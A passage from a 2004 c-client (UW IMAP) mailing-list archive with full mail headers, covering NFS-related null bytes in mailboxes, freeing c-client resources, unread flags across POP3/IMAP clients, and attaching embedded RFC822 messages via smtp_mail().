cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 13 Oct 2004 22:05:25 -0700 Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.37.171]) by mxout1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i9E55PLi029733; Wed, 13 Oct 2004 22:05:25 -0700 Received: from localhost (mrc@localhost) by shiva1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i9E55ONW019365; Wed, 13 Oct 2004 22:05:24 -0700 Message-Id: Date: Wed, 13 Oct 2004 22:05:24 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Todd Piket Cc: c-client@u.washington.edu Subject: Re: Moving mail to ~user/mbox first goes to /var/mail/user? In-Reply-To: <416D330C.3070302@mtu.edu> References: <416D330C.3070302@mtu.edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 13 Oct 2004, Todd Piket wrote: > It's during this operation that we see the > introduction of a significant number of null characters into the message, > sometimes over 5MB (yes megabytes). The nulls always occur right before the > From line of a message though they aren't always introduced. Hmm. I wonder if this is NFS inode vs. data cache skew; that is, the inode data returned by stat() (and in particular the file size) doesn't match the data on the NFS client. > I forgot to mention in my last mention that this is imap-2002d. Is this > possibly fixed in 2004a? Try it and see. Since this is probably not a c-client bug, and is instead something in your NFS infrastructure that c-client, it isn't clear that a version upgrade of c-client imapd will fix it. However, it could be that some subtle difference in how the new version does I/O may avoid tickling the NFS issue. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Thu Oct 14 14:47:21 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 14 Oct 2004 14:47:21 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i9ELlLc6006328 for ; Thu, 14 Oct 2004 14:47:21 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i9ELlKvC008419 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 14 Oct 2004 14:47:20 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i9ELjpvM005212; Thu, 14 Oct 2004 14:45:52 -0700 Received: from mxe5.u.washington.edu (mxe5.u.washington.edu [140.142.32.168]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i9ELiXOn122718 for ; Thu, 14 Oct 2004 14:44:34 -0700 Received: from fenke.xs4all.nl (fenke.xs4all.nl [80.126.3.188]) by mxe5.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i9ELiW9M016447 for ; Thu, 14 Oct 2004 14:44:33 -0700 Received: from fenke.xs4all.nl (unknown [192.168.2.2]) by fenke.xs4all.nl (Postfix) with ESMTP id 1009518C for ; Thu, 14 Oct 2004 23:44:31 +0200 (CEST) Message-Id: <20041014233344.Y2392@fenke.xs4all.nl> Date: Thu, 14 Oct 2004 23:44:31 +0200 (CEST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Frans Meijer To: C-Client Mailing List Subject: Freeing resources and internals.txt MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN It is not entirely clear to me if resources allocated and returned by library functions such as mail_fetch_structure should be freed using the mail_free* functions, or that the c-client libs take care of those (attached to mail_close perhaps)? The documentation in docs/internal.txt concerning the structures used seems 'out of sync' with the actual declarations of structures in mail.h. Or should I be using other documentation? -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Oct 14 15:21:48 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 14 Oct 2004 15:21:48 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i9EMLmMi007655 for ; Thu, 14 Oct 2004 15:21:48 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i9EMLlBL010596 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 14 Oct 2004 15:21:48 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i9EMKJS3016500; Thu, 14 Oct 2004 15:20:19 -0700 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i9EMJHTd033968 for ; Thu, 14 Oct 2004 15:19:17 -0700 Received: from mxout6.cac.washington.edu (mxout6.cac.washington.edu [140.142.33.20]) by mxi3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i9EMJGqS008660 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 14 Oct 2004 15:19:16 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout6.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i9EMJGSu019068; Thu, 14 Oct 2004 15:19:16 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i9EMJF0c023016 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Thu, 14 Oct 2004 15:19:15 -0700 Message-Id: Date: Thu, 14 Oct 2004 15:17:15 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Frans Meijer Cc: C-Client Mailing List Subject: Re: Freeing resources and internals.txt In-Reply-To: <20041014233344.Y2392@fenke.xs4all.nl> References: <20041014233344.Y2392@fenke.xs4all.nl> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 14 Oct 2004, Frans Meijer wrote: > It is not entirely clear to me if resources allocated and returned by > library functions such as mail_fetch_structure should be freed using the > mail_free* functions, or that the c-client libs take care of those > (attached to mail_close perhaps)? No, you do not (MUST NOT) free any resource returned by any mail_?????() functions. These resources are cached on the stream and are freed when the stream closes. You are, however, required to free resources that you created via: fs_get() cpystr(), cpytxt(), textcpy(), textcpystring(), textcpyoffstring() rfc822_base64(), rfc822_binary(), rfc822_qprint(), rfc822_8bit() utf8_text(), utf8_cstext(), utf8_cstocstext(), utf8_mime2text() Note that in the case of the utf8_????() functions, you must check to see if the returned value is the same as the source, since these will not create a new copy if no conversions need to be done and instead will just return the argument. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Fri Oct 15 10:45:12 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 15 Oct 2004 10:45:12 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i9FHjC9V011117 for ; Fri, 15 Oct 2004 10:45:12 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i9FHjBEN016586 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 15 Oct 2004 10:45:12 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i9FHiJqN016378; Fri, 15 Oct 2004 10:44:19 -0700 Received: from mxe2.u.washington.edu (mxe2.u.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i9FHgj9G036224 for ; Fri, 15 Oct 2004 10:42:45 -0700 Received: from aesrg.tamu.edu (aesrg.TAMU.EDU [165.95.60.159]) by mxe2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i9FHgiV5013279 for ; Fri, 15 Oct 2004 10:42:45 -0700 Received: from [165.95.60.199] (bmt-002.tamu.edu [165.95.60.199]) by aesrg.tamu.edu (8.12.9/8.12.9) with ESMTP id i9FHgvqG011953 for ; Fri, 15 Oct 2004 12:42:58 -0500 (CDT) Message-Id: Date: Fri, 15 Oct 2004 12:42:09 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: James Medley To: c-client@u.washington.edu Subject: message status Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" ; format="flowed" X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTYPE_CHARSET_QUOTED 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hello All: I have installed the postfix enabler on a Mac G5 OS 10.3.5. The postfix enabler uses the UW-IMAP for imap and pop3 services. I would like to know if I can make a change so that a message will show as unread when downloaded to more than one computer. I download my email at work and at home and I would like it to show as unread at both locations. Is there a way to accomplish this? Thanks, Jim -- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Fri Oct 15 11:19:18 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 15 Oct 2004 11:19:18 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i9FIJIiM012573 for ; Fri, 15 Oct 2004 11:19:18 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i9FIJHSO009019 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 15 Oct 2004 11:19:17 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i9FIIPpU013102; Fri, 15 Oct 2004 11:18:25 -0700 Received: from mxe4.u.washington.edu (mxe4.u.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i9FIHFFL113552 for ; Fri, 15 Oct 2004 11:17:15 -0700 Received: from mxfep01.bredband.com (mxfep01.bredband.com [195.54.107.70]) by mxe4.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i9FIHD9I019625 for ; Fri, 15 Oct 2004 11:17:14 -0700 Received: from [192.168.1.167] ([213.115.49.93] [213.115.49.93]) by mxfep01.bredband.com with ESMTP id <20041015181712.CLKR18265.mxfep01.bredband.com@[192.168.1.167]>; Fri, 15 Oct 2004 20:17:12 +0200 Message-Id: <41701403.3040306@i3micro.com> Date: Fri, 15 Oct 2004 20:16:35 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Niklas Fondberg To: James Medley Cc: c-client@u.washington.edu Subject: Re: message status In-Reply-To: References: MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en-us, en X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN James and all, I will try to explain this after the best of my knowledge. The read/unread flags are set on the server in the imap case. In the pop3 scenario most clients stores a copy locally and removes the new ones from the server. It is possible to retrieve messages from the pop3 server without having to delete them and most clients support this. To accomplish a read/unread flag in a client in the latter case is client side implementation dependant. So in both cases it would be possible to achieve the behaviour you're after. However, this is something that has to be done in the software client using the uw-client library routines. -- Niklas Fondberg Development Manager, User Interfaces James Medley wrote: > Hello All: I have installed the postfix enabler on a Mac G5 OS 10.3.5. > The postfix enabler uses the UW-IMAP for imap and pop3 services. I > would like to know if I can make a change so that a message will show > as unread when downloaded to more than one computer. I download my > email at work and at home and I would like it to show as unread at > both locations. Is there a way to accomplish this? Thanks, Jim From pinedev@shivax2.cac.washington.edu Sat Oct 16 15:32:05 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sat, 16 Oct 2004 15:32:05 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i9GMW5r9026053 for ; Sat, 16 Oct 2004 15:32:05 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i9GMW486027967 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Sat, 16 Oct 2004 15:32:05 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i9GMR2P5012370; Sat, 16 Oct 2004 15:27:03 -0700 Received: from mxe1.u.washington.edu (mxe1.u.washington.edu [140.142.32.136]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i9GMPHmL070040 for ; Sat, 16 Oct 2004 15:25:17 -0700 Received: from fenke.xs4all.nl (fenke.xs4all.nl [80.126.3.188]) by mxe1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i9GMPG95025219 for ; Sat, 16 Oct 2004 15:25:17 -0700 Received: from fenke.xs4all.nl (unknown [192.168.2.2]) by fenke.xs4all.nl (Postfix) with ESMTP id E7A111A1; Sun, 17 Oct 2004 00:25:12 +0200 (CEST) Message-Id: <20041017000233.B1372@fenke.xs4all.nl> Date: Sun, 17 Oct 2004 00:25:12 +0200 (CEST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Frans Meijer To: Mark Crispin Cc: Frans Meijer , C-Client Mailing List Subject: Re: Freeing resources and internals.txt In-Reply-To: References: <20041014233344.Y2392@fenke.xs4all.nl> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 14 Oct 2004, Mark Crispin wrote: > No, you do not (MUST NOT) free any resource returned by any mail_?????() > functions. These resources are cached on the stream and are freed when > the stream closes. Ok. Thanks for clearing that up. > You are, however, required to free resources that you created via: > fs_get() > cpystr(), cpytxt(), textcpy(), textcpystring(), textcpyoffstring() > rfc822_base64(), rfc822_binary(), rfc822_qprint(), rfc822_8bit() > utf8_text(), utf8_cstext(), utf8_cstocstext(), utf8_mime2text() > > Note that in the case of the utf8_????() functions, you must check to see > if the returned value is the same as the source, since these will not > create a new copy if no conversions need to be done and instead will just > return the argument. Thanks for the warning. That could be tricky if you feed it something that is supposed to be freed by the library. From pinedev@shivax2.cac.washington.edu Sun Oct 17 09:26:55 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 17 Oct 2004 09:26:55 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i9HGQt7Y024311 for ; Sun, 17 Oct 2004 09:26:55 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i9HGQsqZ003093 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Sun, 17 Oct 2004 09:26:55 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i9HGME5Z013732; Sun, 17 Oct 2004 09:22:14 -0700 Received: from mxe7.u.washington.edu (mxe7.u.washington.edu [140.142.32.169]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i9HGKi5R008376 for ; Sun, 17 Oct 2004 09:20:44 -0700 Received: from mail.bynari.net (gw1.bynari.net [216.234.228.98]) by mxe7.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i9HGKhfi029300 for ; Sun, 17 Oct 2004 09:20:43 -0700 Received: from localhost (localhost [127.0.0.1]) by mail.bynari.net (Postfix) with ESMTP id B7A9D3E810B for ; Sun, 17 Oct 2004 11:16:25 -0500 (CDT) Received: from mail.bynari.net ([127.0.0.1]) by localhost (mail.bynari.net [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 12946-04 for ; Sun, 17 Oct 2004 11:16:24 -0500 (CDT) Received: by mail.bynari.net (Postfix, from userid 404) id 91CC03E8123; Sun, 17 Oct 2004 11:16:24 -0500 (CDT) Received: from [10.0.1.2] (unknown [69.10.213.3]) by mail.bynari.net (Postfix) with ESMTP id 3DDC83E810B for ; Sun, 17 Oct 2004 11:16:24 -0500 (CDT) Message-Id: <41729C4B.8090903@bynari.net> Date: Sun, 17 Oct 2004 09:22:35 -0700 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Charles Dorner To: c-client@u.washington.edu Subject: sending an embedded message with c-client (as an attachment in a TYPEMULTIPART e-mail) MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en-us, en X-Virus-Scanned: by amavisd-new at bynari.net X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hello, I'm trying to format an envelope and body for sending through the smtp_mail() function. The message is type TYPEMULTIPART and has an attachment of type TYPEMESSAGE with subtype of RFC822. However, I can't find any way to correctly set the values in the body structure so that c-client will write the attached embedded message to the e-mail. I first thought that the body.nested.msg->env and body.nested.msg->body would be the correct things to set from the comments on the BODY structure. However, when I used this, the boundaries and mini headers were set correctly, but nothing was printed from the actual embedded message itself. So I then looked through the code executed by smtp_mail() and found it called rfc822_output() for the data output, which writes the headers to the e-mail and then calls calls rfc822_output_body() to output the body. In rfc822_output_body() it appears that only body.nested.part is examined on TYPEMULTIPART messages. The best solution then is to use the c-client header and body writing functions to write the embedded message headers and body to text, and then put the text in body.nested.part->body.contents.text.data. Is that right or am I totally off? Thanks for any help that can be provided! Charles Dorner -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Sun Oct 17 11:07:42 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 17 Oct 2004 11:07:42 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i9HI7f58026498 for ; Sun, 17 Oct 2004 11:07:41 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i9HI7euK024530 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Sun, 17 Oct 2004 11:07:41 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i9HI7Ymu013586; Sun, 17 Oct 2004 11:07:34 -0700 Received: from mxi2.u.washington.edu (mxi2.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i9HI5v4q066558 for ; Sun, 17 Oct 2004 11:05:57 -0700 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mxi2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i9HI5v2D014830 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Sun, 17 Oct 2004 11:05:57 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout5.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i9HI5uAi019478; Sun, 17 Oct 2004 11:05:56 -0700 Received: from Shimo-Tomobiki.Panda.COM (panda.com [206.124.149.114]) (authenticated bits=0) by smtp.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i9HI5pii007417 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Sun, 17 Oct 2004 11:05:55 -0700 Message-Id: Date: Sun, 17 Oct 2004 11:05:55 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Charles Dorner Cc: c-client@u.washington.edu Subject: Re: sending an embedded message with c-client (as an attachment in a TYPEMULTIPART e-mail) In-Reply-To: <41729C4B.8090903@bynari.net> References: <41729C4B.8090903@bynari.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Sun, 17 Oct 2004, Charles Dorner wrote: > I'm trying to format an envelope and body for sending through the > smtp_mail() function. The message is type TYPEMULTIPART and has an > attachment of type TYPEMESSAGE with subtype of RFC822. Set the TYPEMESSAGE text as if it was type TYPETEXT. Typically, you use TYPEMESSAGE when you are forwarding a message, which means that you already have it as a text string. It's therefore pointless to deconstruct the message just to have c-client reconstruct it; especially since the usual point of forwarding as MIME is to forward the message as-is. Look at the source code for Pine to see an example. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Sun Oct 17 11:23:18 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 17 Oct 2004 11:23:18 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i9HINIDU026867 for ; Sun, 17 Oct 2004 11:23:18 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i9HINH0D025181 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Sun, 17 Oct 2004 11:23:17 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i9HIN8lI005192; Sun, 17 Oct 2004 11:23:08 -0700 Received: from mxe5.u.washington.edu (mxe5.u.washington.edu [140.142.32.168]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i9HIMCGW075454 for ; Sun, 17 Oct 2004 11:22:12 -0700 Received: from mail.bynari.net (gw1.bynari.net [216.234.228.98]) by mxe5.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i9HIMC1q024415 for ; Sun, 17 Oct 2004 11:22:12 -0700 Received: from localhost (localhost [127.0.0.1]) by mail.bynari.net (Postfix) with ESMTP id 175AE3E80B0; Sun, 17 Oct 2004 13:17:54 -0500 (CDT) Received: from mail.bynari.net ([127.0.0.1]) by localhost (mail.bynari.net [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 25107-03; Sun, 17 Oct 2004 13:17:52 -0500 (CDT) Received: by mail.bynari.net (Postfix, from userid 404) id D791A3E8109; Sun, 17 Oct 2004 13:17:52 -0500 (CDT) Received: from [10.0.1.2] (unknown [69.10.213.3]) by mail.bynari.net (Postfix) with ESMTP id 4B5CE3E80B0; Sun, 17 Oct 2004 13:17:52 -0500 (CDT) Message-Id: <4172B8C3.20809@bynari.net> Date: Sun, 17 Oct 2004 11:24:03 -0700 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Charles Dorner To: Mark Crispin Cc: c-client@u.washington.edu Subject: Re: sending an embedded message with c-client (as an attachment in a TYPEMULTIPART e-mail) In-Reply-To: References: <41729C4B.8090903@bynari.net> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en-us, en X-Virus-Scanned: by amavisd-new at bynari.net X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Mark Crispin wrote on 10/17/2004 11:05 AM: > On Sun, 17 Oct 2004, Charles Dorner wrote: > >> I'm trying to format an envelope and body for sending through the >> smtp_mail() function. The message is type TYPEMULTIPART and has an >> attachment of type TYPEMESSAGE with subtype of RFC822. > > > Set the TYPEMESSAGE text as if it was type TYPETEXT. Typically, you > use TYPEMESSAGE when you are forwarding a message, which means that > you already have it as a text string. It's therefore pointless to > deconstruct the message just to have c-client reconstruct it; > especially since the usual point of forwarding as MIME is to forward > the message as-is. Unfortunately, I'm in between c-client and the actual program the user uses to forward the message, and I have no way to get the original source of the e-mail, I get information about the embedded message to forward (not the source, unfortunately) and need to construct the message myself. So that solution doesn't work for me. I could reconstruct as much of the text of the e-mail as possible, but sometimes that might not be very much. Are there any other suggestions? From pinedev@shivax2.cac.washington.edu Sun Oct 17 11:29:45 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 17 Oct 2004 11:29:45 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i9HITj50027005 for ; Sun, 17 Oct 2004 11:29:45 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i9HITioD006038 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Sun, 17 Oct 2004 11:29:44 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i9HITcn2019704; Sun, 17 Oct 2004 11:29:38 -0700 Received: from mxe7.u.washington.edu (mxe7.u.washington.edu [140.142.32.169]) by lists.u.washington.edu 